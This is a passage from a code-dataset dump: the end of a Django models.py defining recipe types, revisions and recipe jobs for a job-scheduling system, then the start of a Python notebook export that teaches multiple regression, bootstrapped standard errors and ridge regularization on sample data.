recipe/job type and revision\n models included\n\n :param recipe_ids: The recipe IDs\n :type recipe_ids: [int]\n :returns: Dict where each recipe ID maps to a tuple of its recipe model and a list of its recipe_job models\n :rtype: {int: (:class:`recipe.models.Recipe`, [:class:`recipe.models.RecipeJob`])}\n \"\"\"\n\n # Call get_my_handlers() and organize them, lock dependent jobs, and call get_my_handlers() and organize them\n recipes = {} # {Recipe ID: (Recipe, [Recipe job])}\n\n recipe_qry = self.select_related('recipe__recipe_type', 'recipe__recipe_type_rev')\n recipe_qry = recipe_qry.select_related('job__job_type', 'job__job_type_rev')\n recipe_qry = recipe_qry.filter(recipe_id__in=recipe_ids)\n\n for recipe_job in recipe_qry.iterator():\n if recipe_job.recipe_id not in recipes:\n recipes[recipe_job.recipe_id] = (recipe_job.recipe, [])\n recipes[recipe_job.recipe_id][1].append(recipe_job)\n\n return recipes\n\n\nclass RecipeJob(models.Model):\n \"\"\"Links a job to its recipe\n\n :keyword job: A job in a recipe\n :type job: :class:`django.db.models.OneToOneField`\n :keyword job_name: The name of the job within the recipe\n :type job_name: :class:`django.db.models.CharField`\n :keyword recipe: The recipe that the job belongs to\n :type recipe: :class:`django.db.models.ForeignKey`\n \"\"\"\n\n job = models.OneToOneField('job.Job', primary_key=True, on_delete=models.PROTECT)\n job_name = models.CharField(max_length=100)\n recipe = models.ForeignKey('recipe.Recipe', on_delete=models.PROTECT)\n\n objects = RecipeJobManager()\n\n class Meta(object):\n \"\"\"meta information for the db\"\"\"\n db_table = 'recipe_job'\n\n\nclass RecipeTypeManager(models.Manager):\n \"\"\"Provides additional methods for handling recipe types\n \"\"\"\n\n @transaction.atomic\n def create_recipe_type(self, name, version, title, description, definition, trigger_rule):\n \"\"\"Creates a new recipe type and saves it in the database. All database changes occur in an atomic transaction.\n\n :param name: The system name of the recipe type\n :type name: str\n :param version: The version of the recipe type\n :type version: str\n :param title: The human-readable name of the recipe type\n :type title: str\n :param description: An optional description of the recipe type\n :type description: str\n :param definition: The definition for running a recipe of this type\n :type definition: :class:`recipe.configuration.definition.recipe_definition.RecipeDefinition`\n :param trigger_rule: The trigger rule that creates recipes of this type\n :type trigger_rule: :class:`trigger.models.TriggerRule`\n :returns: The new recipe type\n :rtype: :class:`recipe.models.RecipeType`\n\n :raises :class:`recipe.configuration.definition.exceptions.InvalidDefinition`: If any part of the recipe\n definition violates the specification\n :raises :class:`trigger.configuration.exceptions.InvalidTriggerType`: If the given trigger rule is an invalid\n type for creating recipes\n :raises :class:`trigger.configuration.exceptions.InvalidTriggerRule`: If the given trigger rule configuration is\n invalid\n :raises :class:`recipe.configuration.data.exceptions.InvalidRecipeConnection`: If the trigger rule connection to\n the recipe type definition is invalid\n \"\"\"\n\n # Must lock job type interfaces so the new recipe type definition can be validated\n _ = definition.get_job_types(lock=True)\n definition.validate_job_interfaces()\n\n # Validate the trigger rule\n if trigger_rule:\n trigger_config = trigger_rule.get_configuration()\n if not isinstance(trigger_config, RecipeTriggerRuleConfiguration):\n raise InvalidTriggerType('%s is an invalid trigger rule type for creating recipes' % trigger_rule.type)\n trigger_config.validate_trigger_for_recipe(definition)\n\n # Create the new recipe type\n recipe_type = RecipeType()\n recipe_type.name = name\n recipe_type.version = version\n recipe_type.title = title\n recipe_type.description = description\n recipe_type.definition = definition.get_dict()\n recipe_type.trigger_rule = trigger_rule\n recipe_type.save()\n\n # Create first revision of the recipe type\n RecipeTypeRevision.objects.create_recipe_type_revision(recipe_type)\n\n return recipe_type\n\n @transaction.atomic\n def edit_recipe_type(self, recipe_type_id, title, description, definition, trigger_rule, remove_trigger_rule):\n \"\"\"Edits the given recipe type and saves the changes in the database. The caller must provide the related\n trigger_rule model. All database changes occur in an atomic transaction. An argument of None for a field\n indicates that the field should not change. The remove_trigger_rule parameter indicates the difference between\n no change to the trigger rule (False) and removing the trigger rule (True) when trigger_rule is None.\n\n :param recipe_type_id: The unique identifier of the recipe type to edit\n :type recipe_type_id: int\n :param title: The human-readable name of the recipe type, possibly None\n :type title: str\n :param description: A description of the recipe type, possibly None\n :type description: str\n :param definition: The definition for running a recipe of this type, possibly None\n :type definition: :class:`recipe.configuration.definition.recipe_definition.RecipeDefinition`\n :param trigger_rule: The trigger rule that creates recipes of this type, possibly None\n :type trigger_rule: :class:`trigger.models.TriggerRule`\n :param remove_trigger_rule: Indicates whether the trigger rule should be unchanged (False) or removed (True)\n when trigger_rule is None\n :type remove_trigger_rule: bool\n\n :raises :class:`recipe.configuration.definition.exceptions.InvalidDefinition`: If any part of the recipe\n definition violates the specification\n :raises :class:`trigger.configuration.exceptions.InvalidTriggerType`: If the given trigger rule is an invalid\n type for creating recipes\n :raises :class:`trigger.configuration.exceptions.InvalidTriggerRule`: If the given trigger rule configuration is\n invalid\n :raises :class:`recipe.configuration.data.exceptions.InvalidRecipeConnection`: If the trigger rule connection to\n the recipe type definition is invalid\n \"\"\"\n\n # Acquire model lock\n recipe_type = RecipeType.objects.select_for_update().get(pk=recipe_type_id)\n\n if title is not None:\n recipe_type.title = title\n\n if description is not None:\n recipe_type.description = description\n\n if definition:\n # Must lock job type interfaces so the new recipe type definition can be validated\n _ = definition.get_job_types(lock=True)\n definition.validate_job_interfaces()\n recipe_type.definition = definition.get_dict()\n recipe_type.revision_num = recipe_type.revision_num + 1\n\n if trigger_rule or remove_trigger_rule:\n if recipe_type.trigger_rule:\n # Archive old trigger rule since we are changing to a new one\n TriggerRule.objects.archive_trigger_rule(recipe_type.trigger_rule_id)\n recipe_type.trigger_rule = trigger_rule\n\n # Validate updated trigger rule against updated definition\n if recipe_type.trigger_rule:\n trigger_config = recipe_type.trigger_rule.get_configuration()\n if not isinstance(trigger_config, RecipeTriggerRuleConfiguration):\n msg = '%s is an invalid trigger rule type for creating recipes'\n raise InvalidTriggerType(msg % recipe_type.trigger_rule.type)\n trigger_config.validate_trigger_for_recipe(recipe_type.get_recipe_definition())\n\n recipe_type.save()\n\n if definition:\n # Create new revision of the recipe type for new definition\n RecipeTypeRevision.objects.create_recipe_type_revision(recipe_type)\n\n def get_active_trigger_rules(self, trigger_type):\n \"\"\"Returns the active trigger rules with the given trigger type that create jobs and recipes\n\n :param trigger_type: The trigger rule type\n :type trigger_type: str\n :returns: The active trigger rules for the given type and their associated job/recipe types\n :rtype: list[(:class:`trigger.models.TriggerRule`, :class:`job.models.JobType`\n or :class:`recipe.models.RecipeType`)]\n \"\"\"\n\n trigger_rules = []\n\n # Get trigger rules that create jobs\n job_type_qry = JobType.objects.select_related('trigger_rule')\n for job_type in job_type_qry.filter(trigger_rule__is_active=True, trigger_rule__type=trigger_type):\n trigger_rules.append((job_type.trigger_rule, job_type))\n\n # Get trigger rules that create recipes\n recipe_type_qry = RecipeType.objects.select_related('trigger_rule')\n for recipe_type in recipe_type_qry.filter(trigger_rule__is_active=True, trigger_rule__type=trigger_type):\n trigger_rules.append((recipe_type.trigger_rule, recipe_type))\n\n return trigger_rules\n\n def get_details(self, recipe_type_id):\n \"\"\"Gets additional details for the given recipe type model based on related model attributes.\n\n The additional fields include: job_types.\n\n :param recipe_type_id: The unique identifier of the recipe type.\n :type recipe_type_id: int\n :returns: The recipe type with extra related attributes.\n :rtype: :class:`recipe.models.RecipeType`\n \"\"\"\n\n # Attempt to fetch the requested recipe type\n recipe_type = RecipeType.objects.select_related('trigger_rule').get(pk=recipe_type_id)\n\n # Add associated job type information\n recipe_type.job_types = recipe_type.get_recipe_definition().get_job_types()\n\n return recipe_type\n\n def get_recipe_types(self, started=None, ended=None, order=None):\n \"\"\"Returns a list of recipe types within the given time range.\n\n :param started: Query recipe types updated after this amount of time.\n :type started: :class:`datetime.datetime`\n :param ended: Query recipe types updated before this amount of time.\n :type ended: :class:`datetime.datetime`\n :param order: A list of fields to control the sort order.\n :type order: list[str]\n :returns: The list of recipe types that match the time range.\n :rtype: list[:class:`recipe.models.RecipeType`]\n \"\"\"\n\n # Fetch a list of recipe types\n recipe_types = RecipeType.objects.all().defer('description')\n\n # Apply time range filtering\n if started:\n recipe_types = recipe_types.filter(last_modified__gte=started)\n if ended:\n recipe_types = recipe_types.filter(last_modified__lte=ended)\n\n # Apply sorting\n if order:\n recipe_types = recipe_types.order_by(*order)\n else:\n recipe_types = recipe_types.order_by('last_modified')\n return recipe_types\n\n def validate_recipe_type(self, name, title, version, description, definition, trigger_config):\n \"\"\"Validates a new recipe type prior to attempting a save\n\n :param name: The system name of the recipe type\n :type name: str\n :param title: The human-readable name of the recipe type\n :type title: str\n :param version: The version of the recipe type\n :type version: str\n :param description: An optional description of the recipe type\n :type description: str\n :param definition: The definition for running a recipe of this type\n :type definition: :class:`recipe.configuration.definition.recipe_definition.RecipeDefinition`\n :param trigger_config: The trigger rule configuration\n :type trigger_config: :class:`trigger.configuration.trigger_rule.TriggerRuleConfiguration`\n :returns: A list of warnings discovered during validation.\n :rtype: list[:class:`job.configuration.data.job_data.ValidationWarning`]\n\n :raises :class:`recipe.configuration.definition.exceptions.InvalidDefinition`: If any part of the recipe\n definition violates the specification\n :raises :class:`trigger.configuration.exceptions.InvalidTriggerType`: If the given trigger rule is an invalid\n type for creating recipes\n :raises :class:`trigger.configuration.exceptions.InvalidTriggerRule`: If the given trigger rule configuration is\n invalid\n :raises :class:`recipe.configuration.data.exceptions.InvalidRecipeConnection`: If the trigger rule connection to\n the recipe type definition is invalid\n \"\"\"\n\n warnings = definition.validate_job_interfaces()\n\n if trigger_config:\n trigger_config.validate()\n if not isinstance(trigger_config, RecipeTriggerRuleConfiguration):\n msg = '%s is an invalid trigger rule type for creating recipes'\n raise InvalidTriggerType(msg % trigger_config.trigger_rule_type)\n warnings.extend(trigger_config.validate_trigger_for_recipe(definition))\n\n return warnings\n\n\nclass RecipeType(models.Model):\n \"\"\"Represents a type of recipe that can be run on the cluster. Any updates to a recipe type model requires obtaining\n a lock on the model using select_for_update().\n\n :keyword name: The identifying name of the recipe type used by clients for queries\n :type name: :class:`django.db.models.CharField`\n :keyword version: The version of the recipe type\n :type version: :class:`django.db.models.CharField`\n :keyword title: The human-readable name of the recipe type\n :type title: :class:`django.db.models.CharField`\n :keyword description: An optional description of the recipe type\n :type description: :class:`django.db.models.CharField`\n\n :keyword is_active: Whether the recipe type is active (false once recipe type is archived)\n :type is_active: :class:`django.db.models.BooleanField`\n :keyword definition: JSON definition for running a recipe of this type\n :type definition: :class:`djorm_pgjson.fields.JSONField`\n :keyword revision_num: The current revision number of the definition, starts at one\n :type revision_num: :class:`django.db.models.IntegerField`\n :keyword trigger_rule: The rule to trigger new recipes of this type\n :type trigger_rule: :class:`django.db.models.ForeignKey`\n\n :keyword created: When the recipe type was created\n :type created: :class:`django.db.models.DateTimeField`\n :keyword archived: When the recipe type was archived (no longer active)\n :type archived: :class:`django.db.models.DateTimeField`\n :keyword last_modified: When the recipe type was last modified\n :type last_modified: :class:`django.db.models.DateTimeField`\n \"\"\"\n\n name = models.CharField(db_index=True, max_length=50)\n version = models.CharField(db_index=True, max_length=50)\n title = models.CharField(blank=True, max_length=50, null=True)\n description = models.CharField(blank=True, max_length=500, null=True)\n\n is_active = models.BooleanField(default=True)\n definition = djorm_pgjson.fields.JSONField()\n revision_num = models.IntegerField(default=1)\n trigger_rule = models.ForeignKey('trigger.TriggerRule', blank=True, null=True, on_delete=models.PROTECT)\n\n created = models.DateTimeField(auto_now_add=True)\n archived = models.DateTimeField(blank=True, null=True)\n last_modified = models.DateTimeField(auto_now=True)\n\n objects = RecipeTypeManager()\n\n def get_recipe_definition(self):\n \"\"\"Returns the definition for running recipes of this type\n\n :returns: The recipe definition for this type\n :rtype: :class:`recipe.configuration.definition.recipe_definition.RecipeDefinition`\n \"\"\"\n\n return RecipeDefinition(self.definition)\n\n class Meta(object):\n \"\"\"meta information for the db\"\"\"\n db_table = 'recipe_type'\n unique_together = ('name', 'version')\n\n\nclass RecipeTypeRevisionManager(models.Manager):\n \"\"\"Provides additional methods for handling recipe type revisions\n \"\"\"\n\n def create_recipe_type_revision(self, recipe_type):\n \"\"\"Creates a new revision for the given recipe type. The recipe type's definition and revision number must\n already be updated. The caller must have obtained a lock using select_for_update() on the given recipe type\n model.\n\n :param recipe_type: The recipe type\n :type recipe_type: :class:`recipe.models.RecipeType`\n \"\"\"\n\n new_rev = RecipeTypeRevision()\n new_rev.recipe_type = recipe_type\n new_rev.revision_num = recipe_type.revision_num\n new_rev.definition = recipe_type.definition\n new_rev.save()\n\n def get_revision(self, recipe_type_id, revision_num):\n \"\"\"Returns the revision for the given recipe type and revision number\n\n :param recipe_type_id: The ID of the recipe type\n :type recipe_type_id: int\n :param revision_num: The revision number\n :type revision_num: int\n :returns: The revision\n :rtype: :class:`recipe.models.RecipeTypeRevision`\n \"\"\"\n\n return RecipeTypeRevision.objects.get(recipe_type_id=recipe_type_id, revision_num=revision_num)\n\n\nclass RecipeTypeRevision(models.Model):\n \"\"\"Represents a revision of a recipe type. New revisions are created when the definition of a recipe type changes.\n Any inserts of a recipe type revision model requires obtaining a lock using select_for_update() on the corresponding\n recipe type model.\n\n :keyword recipe_type: The recipe type for this revision\n :type recipe_type: :class:`django.db.models.ForeignKey`\n :keyword revision_num: The number for this revision, starting at one\n :type revision_num: :class:`django.db.models.IntegerField`\n :keyword definition: The JSON definition for this revision of the recipe type\n :type definition: :class:`djorm_pgjson.fields.JSONField`\n :keyword created: When this revision was created\n :type created: :class:`django.db.models.DateTimeField`\n \"\"\"\n\n recipe_type = models.ForeignKey('recipe.RecipeType', on_delete=models.PROTECT)\n revision_num = models.IntegerField()\n definition = djorm_pgjson.fields.JSONField()\n created = models.DateTimeField(auto_now_add=True)\n\n objects = RecipeTypeRevisionManager()\n\n def get_recipe_definition(self):\n \"\"\"Returns the recipe type definition for this revision\n\n :returns: The recipe type definition for this revision\n :rtype: :class:`recipe.configuration.definition.recipe_definition.RecipeDefinition`\n \"\"\"\n\n return RecipeDefinition(self.definition)\n\n class Meta(object):\n \"\"\"meta information for the db\"\"\"\n db_table = 'recipe_type_revision'\n unique_together = ('recipe_type', 'revision_num')\n","repo_name":"michaeljohns2/scale","sub_path":"scale/recipe/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":33872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"6712979847","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Multiple Regression\n# \n# Chapter 15 of _Data Science from Scratch_ by Joel Grus.\n\n# In[1]:\n\n\nimport os.path\nimport random\nimport sys\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom functools import partial\nfrom math import *\n\n\n# In[2]:\n\n\nbook_dir = '/Users/CBare/Documents/projects/data-science-from-scratch'\nsys.path.extend(os.path.join(book_dir, 'chapter_{:02d}'.format(i)) for i in [3,4,5,6,7,8])\n\n\n# In[3]:\n\n\nfrom stats import mean, median, de_mean, standard_deviation, correlation\nfrom gradient_descent import minimize_stochastic\nfrom vector import dot, vector_add\nfrom normal import normal_cdf\n\n\n# In[4]:\n\n\ndef predict(x_i, beta):\n \"\"\"assumes that the first element of each x_i is 1\"\"\"\n return dot(x_i, beta)\n\n\n# ## Predict Hours on Site\n\n# The goal is to predict time spent on a site given 3 features, number of friends, work hours per day, and whether or not the person has a PhD.\n# \n# $$ minutes = \\alpha + \\beta_1 friends + \\beta_2 work hours + \\beta_3 phd + \\epsilon $$\n# \n# Each person is represented as a vector of 4 elements, for example:\n# ```\n# [ 1, # constant term\n# 49, # number of friends\n# 4, # work hours per day\n# 0] # doesn't have PhD\n# ```\n\n# Note: The data below was snagged from Joel's source code here: https://github.com/joelgrus/data-science-from-scratch/blob/master/code-python3/multiple_regression.py#L95\n\n# In[5]:\n\n\nx = [[1,49,4,0],[1,41,9,0],[1,40,8,0],[1,25,6,0],[1,21,1,0],[1,21,0,0],[1,19,3,0],\n [1,19,0,0],[1,18,9,0],[1,18,8,0],[1,16,4,0],[1,15,3,0],[1,15,0,0],[1,15,2,0],\n [1,15,7,0],[1,14,0,0],[1,14,1,0],[1,13,1,0],[1,13,7,0],[1,13,4,0],[1,13,2,0],\n [1,12,5,0],[1,12,0,0],[1,11,9,0],[1,10,9,0],[1,10,1,0],[1,10,1,0],[1,10,7,0],\n [1,10,9,0],[1,10,1,0],[1,10,6,0],[1,10,6,0],[1,10,8,0],[1,10,10,0],[1,10,6,0],\n [1,10,0,0],[1,10,5,0],[1,10,3,0],[1,10,4,0],[1,9,9,0],[1,9,9,0],[1,9,0,0],\n [1,9,0,0],[1,9,6,0],[1,9,10,0],[1,9,8,0],[1,9,5,0],[1,9,2,0],[1,9,9,0],[1,9,10,0],\n [1,9,7,0],[1,9,2,0],[1,9,0,0],[1,9,4,0],[1,9,6,0],[1,9,4,0],[1,9,7,0],[1,8,3,0],\n [1,8,2,0],[1,8,4,0],[1,8,9,0],[1,8,2,0],[1,8,3,0],[1,8,5,0],[1,8,8,0],[1,8,0,0],\n [1,8,9,0],[1,8,10,0],[1,8,5,0],[1,8,5,0],[1,7,5,0],[1,7,5,0],[1,7,0,0],[1,7,2,0],\n [1,7,8,0],[1,7,10,0],[1,7,5,0],[1,7,3,0],[1,7,3,0],[1,7,6,0],[1,7,7,0],[1,7,7,0],\n [1,7,9,0],[1,7,3,0],[1,7,8,0],[1,6,4,0],[1,6,6,0],[1,6,4,0],[1,6,9,0],[1,6,0,0],\n [1,6,1,0],[1,6,4,0],[1,6,1,0],[1,6,0,0],[1,6,7,0],[1,6,0,0],[1,6,8,0],[1,6,4,0],\n [1,6,2,1],[1,6,1,1],[1,6,3,1],[1,6,6,1],[1,6,4,1],[1,6,4,1],[1,6,1,1],[1,6,3,1],\n [1,6,4,1],[1,5,1,1],[1,5,9,1],[1,5,4,1],[1,5,6,1],[1,5,4,1],[1,5,4,1],[1,5,10,1],\n [1,5,5,1],[1,5,2,1],[1,5,4,1],[1,5,4,1],[1,5,9,1],[1,5,3,1],[1,5,10,1],[1,5,2,1],\n [1,5,2,1],[1,5,9,1],[1,4,8,1],[1,4,6,1],[1,4,0,1],[1,4,10,1],[1,4,5,1],[1,4,10,1],\n [1,4,9,1],[1,4,1,1],[1,4,4,1],[1,4,4,1],[1,4,0,1],[1,4,3,1],[1,4,1,1],[1,4,3,1],\n [1,4,2,1],[1,4,4,1],[1,4,4,1],[1,4,8,1],[1,4,2,1],[1,4,4,1],[1,3,2,1],[1,3,6,1],\n [1,3,4,1],[1,3,7,1],[1,3,4,1],[1,3,1,1],[1,3,10,1],[1,3,3,1],[1,3,4,1],[1,3,7,1],\n [1,3,5,1],[1,3,6,1],[1,3,1,1],[1,3,6,1],[1,3,10,1],[1,3,2,1],[1,3,4,1],[1,3,2,1],\n [1,3,1,1],[1,3,5,1],[1,2,4,1],[1,2,2,1],[1,2,8,1],[1,2,3,1],[1,2,1,1],[1,2,9,1],\n [1,2,10,1],[1,2,9,1],[1,2,4,1],[1,2,5,1],[1,2,0,1],[1,2,9,1],[1,2,9,1],[1,2,0,1],\n [1,2,1,1],[1,2,1,1],[1,2,4,1],[1,1,0,1],[1,1,2,1],[1,1,2,1],[1,1,5,1],[1,1,3,1],\n [1,1,10,1],[1,1,6,1],[1,1,0,1],[1,1,8,1],[1,1,6,1],[1,1,4,1],[1,1,9,1],[1,1,9,1],\n [1,1,4,1],[1,1,2,1],[1,1,9,1],[1,1,0,1],[1,1,8,1],[1,1,6,1],[1,1,1,1],[1,1,1,1],\n [1,1,5,1]]\n\n\n# In[6]:\n\n\ny = [68.77,51.25,52.08,38.36,44.54,57.13,51.4,41.42,31.22,34.76,\n 54.01,38.79,47.59,49.1,27.66,41.03,36.73,48.65,28.12,46.62,\n 35.57,32.98,35,26.07,23.77,39.73,40.57,31.65,31.21,36.32,20.45,\n 21.93,26.02,27.34,23.49,46.94,30.5,33.8,24.23,21.4,27.94,32.24,\n 40.57,25.07,19.42,22.39,18.42,46.96,23.72,26.41,26.97,36.76,\n 40.32,35.02,29.47,30.2,31,38.11,38.18,36.31,21.03,30.86,36.07,\n 28.66,29.08,37.28,15.28,24.17,22.31,30.17,25.53,19.85,35.37,\n 44.6,17.23,13.47,26.33,35.02,32.09,24.81,19.33,28.77,24.26,31.98,\n 25.73,24.86,16.28,34.51,15.23,39.72,40.8,26.06,35.76,34.76,16.13,\n 44.04,18.03,19.65,32.62,35.59,39.43,14.18,35.24,40.13,41.82,35.45,\n 36.07,43.67,24.61,20.9,21.9,18.79,27.61,27.21,26.61,29.77,20.59,\n 27.53,13.82,33.2,25,33.1,36.65,18.63,14.87,22.2,36.81,25.53,24.62,\n 26.25,18.21,28.08,19.42,29.79,32.8,35.99,28.32,27.79,35.88,29.06,\n 36.28,14.1,36.63,37.49,26.9,18.58,38.48,24.48,18.95,33.55,14.24,\n 29.04,32.51,25.63,22.22,19,32.73,15.16,13.9,27.2,32.01,29.27,33,\n 13.74,20.42,27.32,18.23,35.35,28.48,9.08,24.62,20.12,35.26,19.92,\n 31.02,16.49,12.16,30.7,31.22,34.65,13.13,27.51,33.2,31.57,14.1,\n 33.42,17.44,10.12,24.42,9.82,23.39,30.93,15.03,21.67,31.09,33.29,\n 22.61,26.89,23.48,8.38,27.81,32.35,23.84]\n\n\n# In[7]:\n\n\ndef error(x_i, y_i, beta):\n return y_i - predict(x_i, beta)\n\n\n# In[8]:\n\n\ndef squared_error(x_i, y_i, beta):\n return error(x_i, y_i, beta) ** 2\n\n\n# In[9]:\n\n\ndef squared_error_gradient(x_i, y_i, beta):\n \"\"\"the gradient (with respect to beta) corresponding to the ith squared error term\"\"\"\n return [-2 * x_ij * error(x_i, y_i, beta)\n for x_ij in x_i]\n\n\n# In[10]:\n\n\ndef estimate_beta(x, y):\n beta_initial = [random.random() for x_i in x[0]]\n return minimize_stochastic(squared_error,\n squared_error_gradient,\n x, y,\n beta_initial,\n 0.001)\n\n\n# In[11]:\n\n\nrandom.seed(0)\nbeta = estimate_beta(x, y)\nprint(beta)\n# [30.63, 0.972, -1.868, 0.911]\n\n\n# ### Using the model to make predictions\n\n# In[12]:\n\n\ni = 100\nprint(x[i])\nprint(y[i])\nprint('predicted=', dot(beta, x[i]))\n\n\n# ### Are friends and work hour correlated? Not really.\n\n# In[13]:\n\n\ncorrelation([x_i[1] for x_i in x], [x_i[2] for x_i in x])\n\n\n# ### PhD's have no friends. Sad.\n\n# In[14]:\n\n\ncorrelation([x_i[1] for x_i in x], [x_i[3] for x_i in x])\n\n\n# In[15]:\n\n\nfriends_no_phd = [x_i[1] for x_i in x if not x_i[3]]\nfriends_phd = [x_i[1] for x_i in x if x_i[3]]\n\nplt.boxplot([friends_no_phd, friends_phd], labels=['no PhD', 'PhD'])\nplt.title('friends vs. PhD')\nplt.ylabel('friends')\nplt.show()\n\n\n# ### PhD's and non-PhD's work about the same\n\n# In[16]:\n\n\ncorrelation([x_i[2] for x_i in x], [x_i[3] for x_i in x])\n\n\n# In[17]:\n\n\nwrk_hrs_non_phds = mean([x_i[2] for x_i in x if not x_i[3]])\nwrk_hrs_phds = mean([x_i[2] for x_i in x if x_i[3]])\n\nprint(f'mean work hrs non-PhDs: {wrk_hrs_non_phds:.2f}')\nprint(f'mean work hrs PhDs: {wrk_hrs_phds:.2f}'.format())\n\n\n# ### People with more friends spend more time on the site\n\n# In[18]:\n\n\nplt.scatter([x_i[1] for x_i in x], y, color='#30336699')\nplt.title('Time on site vs. number of friends')\nplt.xlabel('friends')\nplt.ylabel('minutes')\nplt.show()\n\n\n# ### People who work more spend less time on the site\n\n# In[19]:\n\n\nplt.scatter([x_i[2] for x_i in x], y, color='#30336699')\nplt.title('Time on site vs. work hours')\nplt.xlabel('work hours')\nplt.ylabel('minutes')\nplt.show()\n\n\n# In[20]:\n\n\ny_phd = [y_i for x_i, y_i in zip(x,y) if x_i[3]]\ny_not_phd = [y_i for x_i, y_i in zip(x,y) if not x_i[3]]\nprint(mean(y_not_phd))\nprint(mean(y_phd))\n\n\n# In[21]:\n\n\nplt.boxplot([y_not_phd, y_phd], labels=['no PhD', 'PhD'])\nplt.title('Time on site vs. PhD')\nplt.ylabel('minutes')\nplt.show()\n\n\n# This is kinda misleading and points out something interesting. The coefficient for PhD is about 0.92, implying that, all other things being equal, a user with a PhD is likely to spend an extra hour on the site compared to a similar user without a PhD. But, the mean minutes spend on the site for PhDs is lower that than of non-PhDs. Whaaa?\n# \n# The explaination is that all other things aren't equal. We saw above that PhDs are sadly friendless creatures and number of friends has a strong influence on minutes-on-site.\n\n# ### Goodness of Fit\n\n# In[22]:\n\n\ndef total_sum_of_squares(y):\n \"\"\"the total squared variation of y_i's from their mean\"\"\"\n return sum(v ** 2 for v in de_mean(y))\n\n\n# In[23]:\n\n\ndef multiple_r_squared(x, y, beta):\n sum_of_squared_errors = sum(error(x_i, y_i, beta) ** 2\n for x_i, y_i in zip(x, y))\n return 1.0 - sum_of_squared_errors / total_sum_of_squares(y)\n\n\n# In[24]:\n\n\nmultiple_r_squared(x, y, beta)\n\n\n# ### Bootstrap\n# We take a slight digression into bootstrapping in order to compute bootstrapped estimates of standard errors for our regression coefficients.\n\n# In[25]:\n\n\ndef bootstrap_sample(data):\n \"\"\"randomly samples len(data) elements with replacement\"\"\"\n return [random.choice(data) for _ in data]\n\n\n# In[26]:\n\n\ndef bootstrap_statistic(data, stats_fn, num_samples):\n \"\"\"evaluates stats_fn on num_samples bootstrap samples from data\"\"\"\n return [stats_fn(bootstrap_sample(data)) for _ in range(num_samples)]\n\n\n# In[27]:\n\n\nclose_to_100 = [99.5 + random.random() for _ in range(101)]\n\n\n# In[28]:\n\n\nfar_from_100 = ([99.5 + random.random()] + [random.random() for _ in range(50)] +\n[200 + random.random() for _ in range(50)])\n\n\n# In[29]:\n\n\nmedian(close_to_100), mean(close_to_100), standard_deviation(close_to_100)\n\n\n# In[30]:\n\n\nplt.hist(bootstrap_statistic(close_to_100, median, 100))\nplt.show()\n\n\n# In[31]:\n\n\nmedian(far_from_100), mean(far_from_100), standard_deviation(far_from_100)\n\n\n# In[32]:\n\n\nplt.hist(bootstrap_statistic(far_from_100, median, 100))\nplt.show()\n\n\n# ## Standard Errors of Regression Coefficients\n# \n# Now, we can bootstrap estimates for our betas, getting some idea of their distributions and estimating standard error.\n\n# In[33]:\n\n\ndef estimate_sample_beta(sample):\n \"\"\"sample is a list of pairs (x_i, y_i)\"\"\"\n x_sample, y_sample = list(zip(*sample)) # magic unzipping trick\n return estimate_beta(x_sample, y_sample)\n\n\n# In[34]:\n\n\nrandom.seed(0)\nbootstrap_betas = bootstrap_statistic(list(zip(x, y)),\n estimate_sample_beta, 100)\n\n\n# In[35]:\n\n\nbootstrap_standard_errors = [\n standard_deviation([beta[i] for beta in bootstrap_betas])\n for i in range(4)]\nbootstrap_standard_errors\n\n\n# According to the book, we should get the following:\n# ```\n# # [1.174, # constant term, actual error = 1.19\n# # 0.079, # num_friends, actual error = 0.080\n# # 0.131, # unemployed, actual error = 0.127\n# # 0.990] # phd, actual error = 0.998\n# ```\n\n# In[36]:\n\n\ndef p_value(beta_hat_j, sigma_hat_j):\n if beta_hat_j > 0:\n # if the coefficient is positive, we need to compute twice the\n # probability of seeing an even *larger* value\n return 2 * (1 - normal_cdf(beta_hat_j / sigma_hat_j))\n else:\n # otherwise twice the probability of seeing a *smaller* value\n return 2 * normal_cdf(beta_hat_j / sigma_hat_j)\n\n\n# In[37]:\n\n\nprint('{:>10} {:>10} {:>10}'.format('beta', 'b.s.e.', 'p val'))\nfor i in range(4):\n print('{:10.02f} {:10.02f} {:10.02f}'.format(beta[i],\n bootstrap_standard_errors[i],\n p_value(beta[i], bootstrap_standard_errors[i])))\n\n\n# Expected p-values from the book.\n# ```\n# # ~0 (constant term)\n# # ~0 (num_friends)\n# # ~0 (work_hours)\n# # 0.36 (phd)\n# ```\n\n# #### Bootstrap distributions of betas\n\n# In[38]:\n\n\nfor i in range(4):\n sns.distplot([beta[i] for beta in bootstrap_betas], hist=False,\n label=['const', 'friends', 'work hours', 'phd'][i])\nplt.ylim(0,1)\nplt.legend()\nplt.show()\n\n\n# ## Regularization\n\n# In[39]:\n\n\ndef ridge_penalty(beta, alpha):\n return alpha * dot(beta[1:], beta[1:])\n\n\n# In[40]:\n\n\ndef squared_error_ridge(x_i, y_i, beta, alpha):\n \"\"\"estimate error plus ridge penalty on beta\"\"\"\n return error(x_i, y_i, beta) ** 2 + ridge_penalty(beta, alpha)\n\n\n# In[41]:\n\n\ndef ridge_penalty_gradient(beta, alpha):\n \"\"\"gradient of just the ridge penalty\"\"\"\n return [0] + [2 * alpha * beta_j for beta_j in beta[1:]]\n\n\n# In[42]:\n\n\ndef squared_error_ridge_gradient(x_i, y_i, beta, alpha):\n \"\"\"the gradient corresponding to the ith squared error term including the ridge penalty\"\"\"\n return vector_add(squared_error_gradient(x_i, y_i, beta),\n ridge_penalty_gradient(beta, alpha))\n\n\n# In[43]:\n\n\ndef estimate_beta_ridge(x, y, alpha):\n \"\"\"use gradient descent to fit a ridge regression with penalty alpha\"\"\"\n beta_initial = [random.random() for x_i in x[0]]\n return minimize_stochastic(partial(squared_error_ridge, alpha=alpha),\n partial(squared_error_ridge_gradient, alpha=alpha),\n x, y,\n beta_initial,\n 0.001)\n\n\n# In[44]:\n\n\nrandom.seed(0)\nbeta_0 = estimate_beta_ridge(x, y, alpha=0.0)\nbeta_0\n# [30.6, 0.97, -1.87, 0.91]\n\n\n# In[45]:\n\n\ndot(beta_0[1:], beta_0[1:]) # 5.26\n\n\n# In[46]:\n\n\nmultiple_r_squared(x, y, beta_0) # 0.680\n\n\n# #### With increasing regularization, coefficients get smaller\n\n# In[47]:\n\n\nbeta_reg = estimate_beta_ridge(x, y, alpha=0.01)\nprint(beta_reg)\n# [30.6, 0.97, -1.86, 